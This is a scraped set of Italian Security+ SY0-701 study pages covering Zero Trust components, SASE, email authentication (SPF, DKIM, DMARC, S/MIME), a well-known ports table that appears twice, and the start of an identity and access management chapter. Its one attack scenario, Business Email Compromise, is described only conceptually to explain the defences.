per non confonderli:\nIl traffico tra un utente e un server database scorre attraverso il data plane La configurazione di una nuova ACL su un router avviene nel control plane Quando il PE nega l'accesso, quella decisione viaggia nel control plane (PA→PEP) — il traffico bloccato invece non raggiunge mai il data plane I tre componenti:\nPolicy Engine (PE) — il giudice. Valuta la richiesta e decide grant/deny basandosi su policy e contesto. Policy Administrator (PA) — il messaggero. Comunica la decisione del PE al PEP. PE + PA insieme = PDP (Policy Decision Point). Policy Enforcement Point (PEP) — il gatekeeper (buttafuori). Tutto il traffico passa attraverso di lui. Non decide — raccoglie le informazioni e le passa al PDP, poi applica la decisione ricevuta. Flusso:\nUtente vuole accedere a una risorsa │ [PEP] ← blocca finché non arriva la decisione │ [PA] ← gira la richiesta al PE │ [PE] ← valuta: chi è? da dove? che device? che ora? → grant o deny │ [PA] ← comunica la decisione al PEP │ [PEP] ← permette o blocca l\u0026#39;accesso Adaptive Identity — il livello di autenticazione cambia in base al contesto (vedi tabella sopra). Threat scope reduction — accesso minimo necessario per ridurre la superficie di attacco. Policy-driven access control — ogni accesso governato da policy esplicite, non fiducia implicita. Componenti del Data Plane:\nComponente Ruolo Subject (utente) Chi vuole accedere alla risorsa System (device) Il dispositivo usato dall'utente Enterprise resource La risorsa richiesta — file, server, servizio PEP Decide se permettere l'accesso — unico che attraversa il confine Il PEP attraversa il confine tra i due piani — è l'unico sistema che può farlo. Deve ricevere istruzioni dal PA (Control Plane) e poi eseguirle nel Data Plane. È il ponte tra chi decide e chi agisce:\nCONTROL PLANE │ DATA PLANE │ PE → PA ─────────────→ PEP ──────────→ Risorsa istruzioni │ esegue │ unico che attraversa il confine Important Control Plane (PE + PA = PDP) = dove si decide. Data Plane (PEP) = dove si esegue. Il PEP è l'unico componente che attraversa il confine tra i due piani.\nSASE — Secure Access Service Edge # mindmap root((SASE Secure Access Service Edge)) Definizione Zero Trust erogato dal cloud Nessun hardware in azienda Ovunque sia utente ufficio casa bar Servizi inclusi ZTNA Zero Trust Network Access FWaaS Firewall as a Service SWG Secure Web Gateway proxy CASB Cloud Access Security Broker DLP Data Loss Prevention IPS Intrusion Prevention UTM vs SASE UTM appliance fisica on-premise SMB SASE cloud distribuito remote work SASE scala elastica automatica SASE = Zero Trust + tutti i servizi di sicurezza, erogati dal cloud.\nÈ l'evoluzione di Zero Trust — invece di installare firewall, proxy, IPS in azienda, tutti questi servizi arrivano dal cloud e si applicano ovunque sia l'utente (ufficio, casa, bar). SASE è l'evoluzione di Zero Trust erogata interamente tramite servizi Cloud.\nServizi inclusi in SASE:\nServizio Espansione Cosa fa ZTNA Zero Trust Network Access Accesso basato su identità, non posizione FWaaS Firewall as a Service Firewall nel cloud SWG Secure Web Gateway Proxy + URL filter nel cloud CASB Cloud Access Security Broker Controlla l'uso dei servizi cloud (Dropbox, Google Drive) DLP Data Loss Prevention Blocca uscita di dati sensibili IPS Intrusion Prevention System Blocca attacchi nel cloud Differenza UTM vs SASE:\nUTM SASE Dove gira Appliance fisica in azienda Cloud — nessun hardware Per chi Aziende con sede fisica Aziende distribuite, remote work Scala Limitata dall'hardware Elastica — scala automaticamente Enterprise Security Capabilities # mindmap root((Enterprise Security Capabilities)) Group Policy AD Windows dominio Password firewall aggiornamenti Propaga automaticamente a tutti i PC DLP Blocca trasmissione dati sensibili PAN PII dati classificati Agent endpoint o rete traffico uscita FIM Hash file critici vs baseline Modifica non autorizzata alert Email Protocolli SMTP 25 SMTPS 465 STARTTLS 587 POP3 110 POP3S 995 scarica locale IMAP 143 IMAPS 993 resta server SPF DKIM DMARC SPF record TXT IP autorizzati DKIM firma digitale chiave privata DMARC policy OR SPF o DKIM none quarantine reject S/MIME Cifra contenuto email end-to-end Firma digitale body Certificato X.509 del destinatario Diverso da SPF DKIM protegge canale OS Security — Group Policy # Group Policy permette agli amministratori di definire e applicare configurazioni di sicurezza a tutti i sistemi Windows nell'organizzazione tramite Active Directory.\nEsempi: requisiti password, blocco applicazioni, firewall host, gestione aggiornamenti. Una modifica si propaga automaticamente a tutti i computer del dominio.\nDLP — Data Loss Prevention # Monitora, rileva e blocca la trasmissione non autorizzata di dati sensibili:\nUpload di file con PAN (numeri carte di credito) via email Copia di dati classificati su USB Invio di PII tramite cloud non autorizzato Opera su endpoint (agent) o sulla rete (analisi traffico in uscita).\nFIM — File Integrity Monitoring # Verifica che i file critici di sistema non siano stati modificati non autorizzatamente. Confronta l'hash corrente con un baseline. Se l'hash cambia → alert.\nEmail # Protocollo Espansione Porta Versione sicura Espansione Porta SMTP Simple Mail Transfer Protocol 25 SMTPS SMTP Secure 465 SMTP Simple Mail Transfer Protocol 25 SMTP + STARTTLS SMTP + Start Transport Layer Security 587 POP3 Post Office Protocol v3 110 POP3S POP3 Secure 995 IMAP Internet Message Access Protocol 143 IMAPS IMAP Secure 993 SMTP usa STARTTLS per aggiornare una connessione non cifrata (porta 25) a TLS. Porta 587 = submission client→server con STARTTLS.\nPOP3 vs IMAP — differenza critica:\nPOP3 IMAP Dove vive l'email Scaricata sul client, rimossa dal server Resta sempre sul server Due utenti stessa mailbox Chi scarica per primo \u0026quot;ruba\u0026quot; l'email Tutti vedono tutto sincronizzato Email persa se Il client si rompe Il server viene cancellato Allegati Scaricati localmente Restano sul server — spazio a pagamento Important IMAPS cifra solo il canale client↔server. Il contenuto sul server è in chiaro per il provider. Solo la cifratura end-to-end (es. ProtonMail) impedisce al provider di leggere le email.\nEmail Security — SPF, DKIM, DMARC # La cifratura non è l'unico problema dell'email. Un attaccante può forgiare email fingendo di essere un mittente legittimo.\nSPF (Sender Policy Framework) # usa record DNS TXT per definire quali server sono autorizzati a inviare email per conto di un dominio. Puoi specificare IP diretti (ip4:1.2.3.4) o usare include:_spf.aruba.it che delega la lista degli IP autorizzati al record SPF di Aruba — alla fine della catena ci sono sempre IP, ma non devi scriverli tu. Il server ricevente controlla il record SPF e verifica che l'IP mittente sia autorizzato.\nDKIM (DomainKeys Identified Mail) # usa crittografia a chiave pubblica per firmare digitalmente le email. La firma viene aggiunta all'header. Il server ricevente verifica la firma usando la chiave pubblica pubblicata nel DNS. Garantisce integrità e autenticità.\nDMARC (Domain-based Message Authentication, Reporting, and Conformance) # costruito sopra SPF e DKIM. Permette al proprietario del dominio di definire la policy su cosa fare se falliscono (none/quarantine/reject) e fornisce reporting.\nDiagramma 1 — Cosa configuri tu nel DNS:\ngraph TD DNS[\"TUO DNS antonelladigilio.it\"] DNS --\u003e SPF_R[\"SPF - record TXT su root Aruba autorizzato Systeme.io autorizzato softfail per tutti gli altri\"] DNS --\u003e DKIM_A[\"DKIM - selettore a1 chiave pubblica Aruba\"] DNS --\u003e DKIM_S[\"DKIM - selettore systemeio1 chiave pubblica Systeme.io\"] DNS --\u003e DMARC_R[\"DMARC - record su _dmarc p=none report al tuo indirizzo rua\"] Diagramma 2 — Cosa fa il server ricevente:\ngraph TD MAIL[\"Email arriva da antonelladigilio.it\"] --\u003e SPF_C MAIL --\u003e DKIM_C SPF_C[\"Controllo SPF IP mittente e' nella lista?\"] DKIM_C[\"Controllo DKIM Legge selettore dall'header Recupera chiave pubblica dal DNS Verifica firma - integrita e autenticita\"] SPF_C --\u003e OR DKIM_C --\u003e OR OR{\"OR SPF pass oppure DKIM pass?\"} OR --\u003e|\"Almeno uno passa\"| OK[\"Consegna in inbox\"] OR --\u003e|\"Entrambi falliscono\"| POL[\"Applica policy DMARC p=none - consegna e manda report p=quarantine - metti in spam p=reject - rifiuta l'email\"] OK --\u003e REP[\"Report aggregato ogni 24h inviato al tuo indirizzo rua\"] POL --\u003e REP Important SPF e DKIM sono un OR — basta che uno passi. DMARC fallisce solo se entrambi falliscono. Per ogni sender aggiunto a SPF, valutare se aggiungere anche la sua chiave DKIM pubblica nel DNS.\nPerché OR — il caso dell'inoltro email:\nQuando Bob riceve una tua email e la inoltra a Carol, il server di Bob non è nella tua lista SPF → SPF fallisce inevitabilmente. Ma DKIM può sopravvivere: la firma originale è ancora nell'header, la chiave pubblica è ancora nel tuo DNS, il server di Carol la verifica e trova corrispondenza → DKIM pass.\nDKIM fallisce solo se il body viene modificato (footer \u0026quot;Forwarded by X\u0026quot;, alterazione MIME) — l'hash del body cambierebbe e la firma non corrisponderebbe più.\nSe SPF e DKIM fossero AND, ogni inoltro legittimo verrebbe bloccato da DMARC. L'OR è una scelta architetturale consapevole.\nEsempio SPF reale:\nv=spf1 include:_spf.aruba.it include:_spf.systeme.io ~all Suffisso Comportamento -all HardFail — rifiuta tutto il resto ~all SoftFail — marca sospetto ma consegna ?all Neutral — nessuna policy +all Passa tutto — non usare mai DMARC policy:\nPolicy Cosa fa se SPF e DKIM falliscono entrambi p=none Consegna comunque, manda report p=quarantine Metti in spam p=reject Rifiuta l'email I report DMARC sono inviati dai server riceventi (Gmail, Outlook, GMX) ogni 24h all'indirizzo rua=. Contengono: IP mittente, count email, risultato SPF, risultato DKIM, azione applicata. Sono il sistema di allarme precoce per spoofing del dominio.\nPerché SPF e DKIM stanno in record TXT: SPF aveva un record DNS dedicato (tipo 99) ma è stato deprecato nel 2014 con RFC 7208. TXT è il record \u0026quot;testo libero\u0026quot; di DNS — usato per tutto ciò che non ha un tipo dedicato. Il record va su @ (root del dominio) perché il mittente usa il dominio root.\nRFC 1034 — CNAME e email: Un nodo con record CNAME non può avere altri record sullo stesso nome. Se corsi.antonelladigilio.it è un CNAME verso una piattaforma esterna, non può avere MX (email) né TXT (SPF). Si sceglie: CNAME per il sito web oppure MX per le email — non entrambi.\nEmail Gateway — dispositivo o applicazione che fa da barriera tra il sistema email interno e internet. Filtra email in entrata e in uscita per spam, malware e altre minacce. Posizionato tipicamente nella screened subnet.\nScenario reale — Business Email Compromise (BEC):\nIl protocollo SMTP non verifica l'identità del mittente — chiunque può impostare From: a qualsiasi indirizzo. Prima di SPF/DKIM/DMARC era banale; ancora oggi funziona contro domini mal configurati.\nAttori:\nServer legittimo di acme.com: IP 245.30.30.30 VPS dell'attaccante: IP 210.1.1.1 Attacco:\nL'attaccante su 210.1.1.1 installa un server SMTP Imposta From: ceo@acme.com — SMTP non chiede credenziali per questo Invia a contabilita@acme.com: \u0026quot;Urgente — bonifico 50.000€ al fornitore XYZ entro oggi\u0026quot; Senza SPF/DKIM/DMARC: il server ricevente non ha strumenti per verificare — l'email arriva in inbox Come SPF blocca: il server ricevente fa una query DNS per il record TXT di acme.com. Trova 245.30.30.30 autorizzato. L'email arriva da 210.1.1.1 → disuguaglianza → SPF fail.\nCome DKIM blocca: il server legittimo 245.30.30.30 ha la chiave privata di acme.com e firma ogni email con essa. La chiave pubblica corrispondente è pubblicata nel DNS di acme.com (record TXT su selector1._domainkey.acme.com). L'attaccante su 210.1.1.1 non ha la chiave privata → non può generare una firma valida. Il server ricevente recupera la chiave pubblica dal DNS e prova a verificare la firma dell'attaccante → fail. La chiave pubblica è pubblica e disponibile — manca la privata all'attaccante.\nCome DMARC chiude: entrambi falliscono → p=reject → email rifiutata prima che arrivi in inbox.\nS/MIME — Secure/Multipurpose Internet Mail Extensions # S/MIME cifra e firma digitalmente il contenuto delle email — garantisce confidenzialita' e autenticita' del messaggio durante la trasmissione e lo storage.\nSPF / DKIM / DMARC S/MIME Cosa protegge L'identita' del server mittente Il contenuto del messaggio Dove agisce A livello di server SMTP A livello di client email (Outlook, Apple Mail) Cifra il body? No Si', end-to-end Firma digitale? DKIM firma gli header Si', il mittente firma il body Chiave necessaria Record DNS (pubblica per tutti) Certificato X.509 del destinatario Come funziona:\nIl mittente cifra l'email con la chiave pubblica del destinatario (solo lui puo' decifrarla) Il mittente firma l'email con la propria chiave privata (il destinatario verifica con la chiave pubblica del mittente) Entrambe le operazioni usano certificati X.509 — stessa infrastruttura PKI dei certificati web Differenza chiave per l'esame:\nSPF/DKIM/DMARC proteggono il canale di trasporto — verificano che il server mittente sia legittimo. S/MIME protegge il contenuto — cifra e firma il testo dell'email stessa. Possono coesistere.\nTip Exam tip: S/MIME = cifratura + firma digitale del contenuto email, end-to-end, basato su certificati X.509. Se la domanda chiede \u0026quot;come cifrare il contenuto dell'email\u0026quot; → S/MIME. Se chiede \u0026quot;come autenticare il server mittente\u0026quot; → SPF/DKIM.\nScenario Reale — Blue Team # Un analista Blue Team applica questi concetti ogni giorno:\nVerifica che i server nella DMZ non comunichino direttamente con i DB interni. Controlla che solo HTTPS/SFTP/SSH siano abilitati — firewall blocca FTP/Telnet/HTTP. Monitora il NAC per device non conformi in quarantena. Usa il jump server per accedere ai sistemi in produzione. Il WAF logga tentativi di SQLi sui web server nella DMZ. Il DLP blocca upload di file con PAN verso cloud non autorizzato. SNMP v3 monitora router e switch — v1/v2 disabilitati. I report DMARC segnalano IP sconosciuti che inviano email con il dominio aziendale. Come developer PHP/Symfony: reverse proxy = screened subnet. NAT = X-Forwarded-For nei log. Group Policy = env vars applicate centralmente. SPF/DKIM = li configuri ogni volta che imposti un dominio per email transazionali (SendGrid, SES).\nTrappole Esame Cap 3 # Trappola Risposta corretta \u0026quot;SFTP usa FTP con SSL?\u0026quot; NO — SFTP è un sottosistema SSH (porta 22) \u0026quot;SSL è sicuro quanto TLS?\u0026quot; NO — SSL è deprecato \u0026quot;UDP non si usa per attacchi?\u0026quot; FALSO — molti DoS/DDoS usano UDP e ICMP \u0026quot;Se ping non risponde l'host è down?\u0026quot; FALSO — ICMP può essere bloccato \u0026quot;Quale firewall analizza il payload?\u0026quot; NGFW o WAF (Layer 7), non stateful (Layer 4) \u0026quot;Il DMZ server parla col DB interno?\u0026quot; NO — due firewall separano DMZ da LAN \u0026quot;Fail-open è più sicuro?\u0026quot; NO — fail-closed blocca tutto \u0026quot;SNMP v2 è sufficiente?\u0026quot; NO — solo v3 ha autenticazione e cifratura \u0026quot;Reverse proxy sta nella LAN?\u0026quot; NO — sta nella DMZ \u0026quot;Zero Trust vale solo per esterni?\u0026quot; NO — nessun utente è fidato, neanche interni \u0026quot;WAF = NGFW?\u0026quot; NO — WAF solo web server; NGFW general-purpose L7 \u0026quot;VLAN = Air gap?\u0026quot; NO — VLAN logica; air gap fisico totale \u0026quot;SPF e DKIM sono AND?\u0026quot; NO — sono OR. DMARC fallisce solo se entrambi falliscono Risorse # Gibson SY0-701 Cap 3 — Get Certified Get Ahead (Kindle) Appendix C: Porte ufficiali — cap-03-well-known-ports Professor Messer: Secure Infrastructures · Firewall Types · Secure Communication Collegato a # network — protocolli, firewall, segmentazione, proxy system — OSI model, infrastruttura, Group Policy osi-model — dettaglio completo layer cap-03-well-known-ports — porte da sapere a memoria tcp-handshake — dettaglio three-way handshake tcp-udp — dettaglio TCP vs UDP icmp-mac-ip — ICMP, MAC, IP arp — ARP e ARP poisoning ssl-tls — SSL vs TLS in profondità cap-02-identity-access-management — IAM si integra con Zero Trust e NAC cap-01-security-fundamentals — basi indice-gibson-messer-burning-Ice — indice completo Gibson SY0-701 ","date":"18 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-03-security-architecture/","section":"Dump","summary":"OSI model, protocolli base (TCP/UDP/IP/ICMP/ARP/DNS/DHCP/NTP), protocolli sicuri vs insicuri, SSL/TLS, firewall (stateless/stateful/WAF/NGFW), screened subnet, Zero Trust, proxy, NAT, VLAN, NAC, UTM, SASE, Group Policy, GDLP, SPF/DKIM/DMARC. Cap 3 Gibson SY0-701.","title":"Cap 3 - Network Technologies and Security Architecture","type":"dump"},{"content":" Cosa fa # Riferimento rapido delle porte di rete rilevanti per Security+ SY0-701. CompTIA ha ridotto l'enfasi sulle porte rispetto alle versioni precedenti, ma le porte dei protocolli sicuri vs insicuri rimangono fondamentali.\nTL;DR # Regola per l'esame: se una porta è bassa (sotto 1024) ed è insicura → conosci la sua versione sicura. Le porte da sapere davvero bene sono quelle delle coppie insicuro/sicuro: FTP→SFTP/FTPS, HTTP→HTTPS, LDAP→LDAPS, IMAP→IMAPS, SNMP v1/v2→v3.\nFile Transfer # Porta Protocollo Note 20 FTP — Data Trasferimento dati (active mode). Insicuro — testo in chiaro. 21 FTP — Control Comandi FTP + PASV control. Insicuro — sostituire con SFTP o FTPS. 22 SFTP / SCP SSH File Transfer Protocol — non è FTP, è un sottosistema SSH. 69 TFTP UDP. Trivial FTP — no auth, no encryption. Solo reti interne (boot PXE). 989 FTPS — Data FTP su TLS — canale dati. 990 FTPS — Control FTP su TLS — canale controllo (implicit). Explicit usa porta 21 con STARTTLS. Remote Access # Porta Protocollo Note 22 SSH Secure Shell — sostituisce Telnet. Anche SFTP e SCP. 23 Telnet Insicuro — testo in chiaro. Sostituito da SSH. 3389 RDP Remote Desktop Protocol (Windows). Usa TLS per cifratura. Email # Porta Protocollo Note 25 SMTP Invio email server-to-server. Spesso bloccato su reti consumer. 110 POP3 Scarica email dal server. Insicuro. 143 IMAP Accesso email sul server. Insicuro. 465 SMTPS SMTP su TLS (implicit). 587 SMTP submission SMTP con STARTTLS — client → server. 993 IMAPS IMAP su TLS. 995 POP3S POP3 su TLS. Web # Porta Protocollo Note 80 HTTP Insicuro — testo in chiaro. 443 HTTPS HTTP su TLS. 8080 HTTP alternate Spesso usato per proxy o app in sviluppo. 8443 HTTPS alternate HTTPS su porta alternativa. Directory e Autenticazione # Porta Protocollo Note 49 TACACS+ Terminal Access Controller Access Control System — autenticazione Cisco. TCP. 88 Kerberos Autenticazione in ambienti Active Directory. TCP/UDP. 137 NetBIOS Name service. TCP/UDP. 138 NetBIOS Datagram service. UDP. 139 NetBIOS Session service. TCP. 389 LDAP Lightweight Directory Access Protocol. Insicuro. 445 SMB Server Message Block — file sharing Windows. Spesso bersaglio (EternalBlue). 636 LDAPS LDAP su TLS. 1812 RADIUS Remote Authentication Dial-In User Service. UDP (o TCP con EAP). 1813 RADIUS accounting Contabilizzazione sessioni RADIUS. UDP. Network Services # Porta Protocollo Note 53 DNS UDP (query standard) / TCP (zone transfer, risposte grandi). 67 DHCP server Server ascolta qui. 68 DHCP client Client invia qui. 123 NTP Network Time Protocol — UDP. Fondamentale per Kerberos (clock skew max 5 min). 161 SNMP UDP — agent ascolta qui. v1/v2 insicuri, v3 sicuro. 162 SNMP trap Manager ascolta qui — notifiche inviate dall'agent. 514 Syslog UDP — invio log a server centrale. Database # Porta Protocollo Note 1433 Microsoft SQL Server Default SQL Server. 1521 Oracle DB Default Oracle. 3306 MySQL / MariaDB Default MySQL. 5432 PostgreSQL Default PostgreSQL. VoIP # Porta Protocollo Note 5060 SIP Session Initiation Protocol — segnalazione VoIP. TCP. Non cifrato. 5061 SIPS SIP su TLS — versione sicura. TCP. VPN e IPSec # Porta Protocollo Note 500 IKE Internet Key Exchange — negoziazione IPSec. UDP. 1194 OpenVPN Default OpenVPN. UDP (o TCP). 1701 L2TP Layer 2 Tunneling Protocol. Spesso con IPSec. 1723 PPTP Point-to-Point Tunneling Protocol. Obsoleto e insicuro. 4500 IPSec NAT-T IPSec NAT Traversal — quando c'è NAT in mezzo. UDP. Coppie Insicuro → Sicuro (esame) # Insicuro Porta Sicuro Porta FTP 21 SFTP (SSH) 22 FTP 21 FTPS (implicit TLS) 990 Telnet 23 SSH 22 HTTP 80 HTTPS 443 SMTP 25 SMTPS 465 / 587 POP3 110 POP3S 995 IMAP 143 IMAPS 993 LDAP 389 LDAPS 636 SNMP v1/v2 161 SNMP v3 161 RTP (VoIP) var SRTP var Collegato a # network — protocolli di rete cap-03-security-architecture — contesto Security+ Cap 3 osi-model — layer su cui opera ogni protocollo ","date":"18 maggio 2026","externalUrl":null,"permalink":"/concetti/well-known-ports/","section":"Concetti","summary":"Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.","title":"Well-Known Ports - Security+","type":"concetti"},{"content":" Cosa fa # Riferimento rapido delle porte di rete rilevanti per Security+ SY0-701. CompTIA ha ridotto l'enfasi sulle porte rispetto alle versioni precedenti, ma le porte dei protocolli sicuri vs insicuri rimangono fondamentali.\nTL;DR # Regola per l'esame: se una porta è bassa (sotto 1024) ed è insicura → conosci la sua versione sicura. Le porte da sapere davvero bene sono quelle delle coppie insicuro/sicuro: FTP→SFTP/FTPS, HTTP→HTTPS, LDAP→LDAPS, IMAP→IMAPS, SNMP v1/v2→v3.\nFile Transfer # Porta Protocollo Note 20 FTP — Data Trasferimento dati (active mode). Insicuro — testo in chiaro. 21 FTP — Control Comandi FTP + PASV control. Insicuro — sostituire con SFTP o FTPS. 22 SFTP / SCP SSH File Transfer Protocol — non è FTP, è un sottosistema SSH. 69 TFTP UDP. Trivial FTP — no auth, no encryption. Solo reti interne (boot PXE). 989 FTPS — Data FTP su TLS — canale dati. 990 FTPS — Control FTP su TLS — canale controllo (implicit). Explicit usa porta 21 con STARTTLS. Remote Access # Porta Protocollo Note 22 SSH Secure Shell — sostituisce Telnet. Anche SFTP e SCP. 23 Telnet Insicuro — testo in chiaro. Sostituito da SSH. 3389 RDP Remote Desktop Protocol (Windows). Usa TLS per cifratura. Email # Porta Protocollo Note 25 SMTP Invio email server-to-server. Spesso bloccato su reti consumer. 110 POP3 Scarica email dal server. Insicuro. 143 IMAP Accesso email sul server. Insicuro. 465 SMTPS SMTP su TLS (implicit). 587 SMTP submission SMTP con STARTTLS — client → server. 993 IMAPS IMAP su TLS. 995 POP3S POP3 su TLS. Web # Porta Protocollo Note 80 HTTP Insicuro — testo in chiaro. 443 HTTPS HTTP su TLS. 8080 HTTP alternate Spesso usato per proxy o app in sviluppo. 8443 HTTPS alternate HTTPS su porta alternativa. Directory e Autenticazione # Porta Protocollo Note 49 TACACS+ Terminal Access Controller Access Control System — autenticazione Cisco. TCP. 88 Kerberos Autenticazione in ambienti Active Directory. TCP/UDP. 137 NetBIOS Name service. TCP/UDP. 138 NetBIOS Datagram service. UDP. 139 NetBIOS Session service. TCP. 389 LDAP Lightweight Directory Access Protocol. Insicuro. 445 SMB Server Message Block — file sharing Windows. Spesso bersaglio (EternalBlue). 636 LDAPS LDAP su TLS. 1812 RADIUS Remote Authentication Dial-In User Service. UDP (o TCP con EAP). 1813 RADIUS accounting Contabilizzazione sessioni RADIUS. UDP. Network Services # Porta Protocollo Note 53 DNS UDP (query standard) / TCP (zone transfer, risposte grandi). 67 DHCP server Server ascolta qui. 68 DHCP client Client invia qui. 123 NTP Network Time Protocol — UDP. Fondamentale per Kerberos (clock skew max 5 min). 161 SNMP UDP — agent ascolta qui. v1/v2 insicuri, v3 sicuro. 162 SNMP trap Manager ascolta qui — notifiche inviate dall'agent. 514 Syslog UDP — invio log a server centrale. Database # Porta Protocollo Note 1433 Microsoft SQL Server Default SQL Server. 1521 Oracle DB Default Oracle. 3306 MySQL / MariaDB Default MySQL. 5432 PostgreSQL Default PostgreSQL. VoIP # Porta Protocollo Note 5060 SIP Session Initiation Protocol — segnalazione VoIP. TCP. Non cifrato. 5061 SIPS SIP su TLS — versione sicura. TCP. VPN e IPSec # Porta Protocollo Note 500 IKE Internet Key Exchange — negoziazione IPSec. UDP. 1194 OpenVPN Default OpenVPN. UDP (o TCP). 1701 L2TP Layer 2 Tunneling Protocol. Spesso con IPSec. 1723 PPTP Point-to-Point Tunneling Protocol. Obsoleto e insicuro. 4500 IPSec NAT-T IPSec NAT Traversal — quando c'è NAT in mezzo. UDP. Coppie Insicuro → Sicuro (esame) # Insicuro Porta Sicuro Porta FTP 21 SFTP (SSH) 22 FTP 21 FTPS (implicit TLS) 990 Telnet 23 SSH 22 HTTP 80 HTTPS 443 SMTP 25 SMTPS 465 / 587 POP3 110 POP3S 995 IMAP 143 IMAPS 993 LDAP 389 LDAPS 636 SNMP v1/v2 161 SNMP v3 161 RTP (VoIP) var SRTP var Collegato a # network — protocolli di rete cap-03-security-architecture — contesto Security+ Cap 3 osi-model — layer su cui opera ogni protocollo ","date":"18 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-03-well-known-ports/","section":"Dump","summary":"Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.","title":"Well-Known Ports - Security+","type":"dump"},{"content":" Cosa fa # Copre autenticazione (4 fattori), gestione credenziali, SSO/LDAP/SAML/OAuth, modelli di autorizzazione (RBAC/DAC/MAC/ABAC), account lifecycle, PAM e indicatori di attivita' malevola. Dominio 4.6 Security+.\nTL;DR # Identification → Authentication → Authorization → Accounting (AAA) 4 fattori auth: Know / Have / Are / Somewhere you Are MFA = due fattori DIVERSI. Stesso fattore = NON e' MFA. Biometria: iris e retina = piu' forte. FAR / FRR / CER (piu' basso = meglio). SSO = un login, piu' risorse. SAML = SSO per web. OAuth = AUTHORIZATION (non auth!). LDAP = directory. Modelli autorizzazione: RBAC (ruoli) / Rule-BAC (ACL) / DAC (proprietario) / MAC (label) / ABAC (attributi). PAM = just-in-time. Admin = due account separati. Account inattivi = disabilitare subito. Indicators: account lockout, concurrent session, impossible travel, blocked content, resource consumption.\nmindmap root((Cap 2 Identity \u0026 Access Mgmt)) [AAA - 4 fasi] [I 4 Fattori] [MFA] [Passwordless] [Auth Log Files] [Tipi di Account] [PAM] [Due Account per Admin] [Deprovisioning] [Time-Based e Audit] [Auth Services SSO LDAP SAML OAuth] [Authorization Models RBAC DAC MAC ABAC] [Auth Indicators] [Trappole Esame] AAA — Identification, Authentication, Authorization, Accounting # mindmap root((AAA)) Identification Dichiara chi sei Username Email Authentication Prova chi sei Password Fingerprint Smart card Authorization Cosa puoi fare Permessi ACL Accounting Tutto registrato Audit log SIEM graph LR A[Utente] --\u003e|Username| B[Identification Dichiara chi e'] B --\u003e|Password / fingerprint smart card / token| C[Authentication Prova chi e'] C --\u003e|Verifica permessi e ACL| D[Authorization Cosa puo' fare] D --\u003e|Log di tutto| E[Accounting Tutto registrato] style B fill:#4a90d9,color:#fff style C fill:#e67e22,color:#fff style D fill:#27ae60,color:#fff style E fill:#8e44ad,color:#fff Fase Descrizione Esempio Identification L'utente dichiara chi e' Username, email Authentication L'utente prova chi e' Password, fingerprint, smart card Authorization Il sistema verifica cosa puo' fare Permessi, ACL Accounting Il sistema registra tutto Audit log, SIEM Se un attaccante bypassa l'Authentication, Authorization e Accounting diventano inutili — non sai chi ha fatto cosa.\nI 4 Fattori di Autenticazione # mindmap root((4 Fattori Auth)) Know Password PIN KBA Piu debole Rubabile Have Smart card Token YubiKey HOTP counter TOTP 30-60 sec Are Biometria Iris Retina piu forti FAR FRR CER Somewhere IP address MAC address Impossible travel graph TD F[Fattori di Autenticazione] F --\u003e K[\"Something you KNOW Password, PIN, KBA Piu debole — rubabile\"] F --\u003e H[\"Something you HAVE Smart card, token, security key Puo essere perso o clonato\"] F --\u003e A[\"Something you ARE Biometria Non cambiabile se compromessa\"] F --\u003e S[\"Somewhere you ARE Geolocation, IP, MAC address Debole da solo — usato come rinforzo\"] style K fill:#e74c3c,color:#fff style H fill:#e67e22,color:#fff style A fill:#27ae60,color:#fff style S fill:#3498db,color:#fff Something You Know # Il fattore piu' debole — la conoscenza puo' essere rubata o indovinata.\nPassword policy:\nPolicy Descrizione Exam tip Length Minimo 8 caratteri — lunghezza conta piu' della complessita' Piu' caratteri = esponenzialmente piu' combinazioni Complexity Mix uppercase, lowercase, numeri, caratteri speciali 4 tipi = 95^N possibili valori per carattere Expiration Quando scade. NIST: NON imporla se c'e' MFA Cambio frequente → password deboli prevedibili History Ricorda le ultime 24 password — impedisce riuso Combinato con minimum age per prevenire reset 24 volte di fila Minimum age Tempo minimo prima di poter cambiare Senza minimum age: cambia 24 volte → torna alla prima Lockout threshold Max tentativi errati prima del blocco Thwarts brute force e dictionary attacks Lockout duration 0 = sblocco solo da admin. 30 = blocco 30 minuti Duration 0 = massima sicurezza ma piu' lavoro per admin NIST SP 800-63B \u0026quot;Digital Identity Guidelines\u0026quot; — il documento di riferimento per le password policy moderne. Raccomandazioni principali:\nHash all passwords (mai in chiaro) Require MFA Non imporre reset periodico obbligatorio (cambio frequente → password deboli prevedibili) Minimo 8 caratteri Check contro password comuni e già compromesse Permettere tutti i caratteri speciali inclusi gli spazi Non riciclare la stessa password su più siti Passphrase — NIST raccomanda frasi semplici da ricordare invece di stringhe casuali complesse. Esempio: ICanCountTo6 è più sicuro di xK#9q! perché è più lungo e comunque memorizzabile. La lunghezza batte la complessità.\nPassword Manager (vault): repository cifrato. Master password unica per aprirlo. Backup obbligatorio — device perso = tutte le password perse.\nKnowledge-Based Authentication (KBA):\nTipo Quando Come funziona Static KBA Recupero password Domande preimpostate: primo cane, cognome madre Dynamic KBA Transazioni ad alto rischio Domande da dati pubblici: credit report, veicoli, proprieta'. Tempo limitato. Identity proofing Creazione nuovo account KBA usata per verificare identita' reale del nuovo utente Changing Default Passwords # Molti sistemi e dispositivi vengono forniti con password predefinite — cambiarle è la prima azione di sicurezza prima di metterli in rete. Molti router hanno account admin/admin di default: se non si cambia, chiunque conosca i default può prendere il controllo. Cambiare i default include anche rinominare l'account Administrator dove possibile, per non offrire all'attaccante un target noto.\nRemember This! Le password di default vanno cambiate su ogni applicazione e dispositivo prima della messa in produzione.\nTraining Users About Password Behaviors # Gli utenti non sempre capiscono il valore della propria password o il danno potenziale se viene compromessa. Le organizzazioni devono formare gli utenti su: creare password forti, non condividerle con colleghi, non riutilizzarle su più sistemi, non scriverle su foglietti. La password 123456 compare costantemente nelle liste delle password più comuni — un po' di training va lontano.\nSomething You Have # Oggetti fisici o digitali che provi di possedere.\nStrumento Descrizione Nota esame Smart card Card con microchip + certificato digitale. Lettore come bancomat. Usata con PIN = 2FA (have + know) Security key Dispositivo USB o wireless con info crittografiche (es. YubiKey) Hard token Dispositivo LCD con OTP — HOTP o TOTP Non deve essere connesso al server per sincronizzarsi Soft token App su smartphone (es. Google Authenticator) con OTP Stessa logica dell'hard token ma su 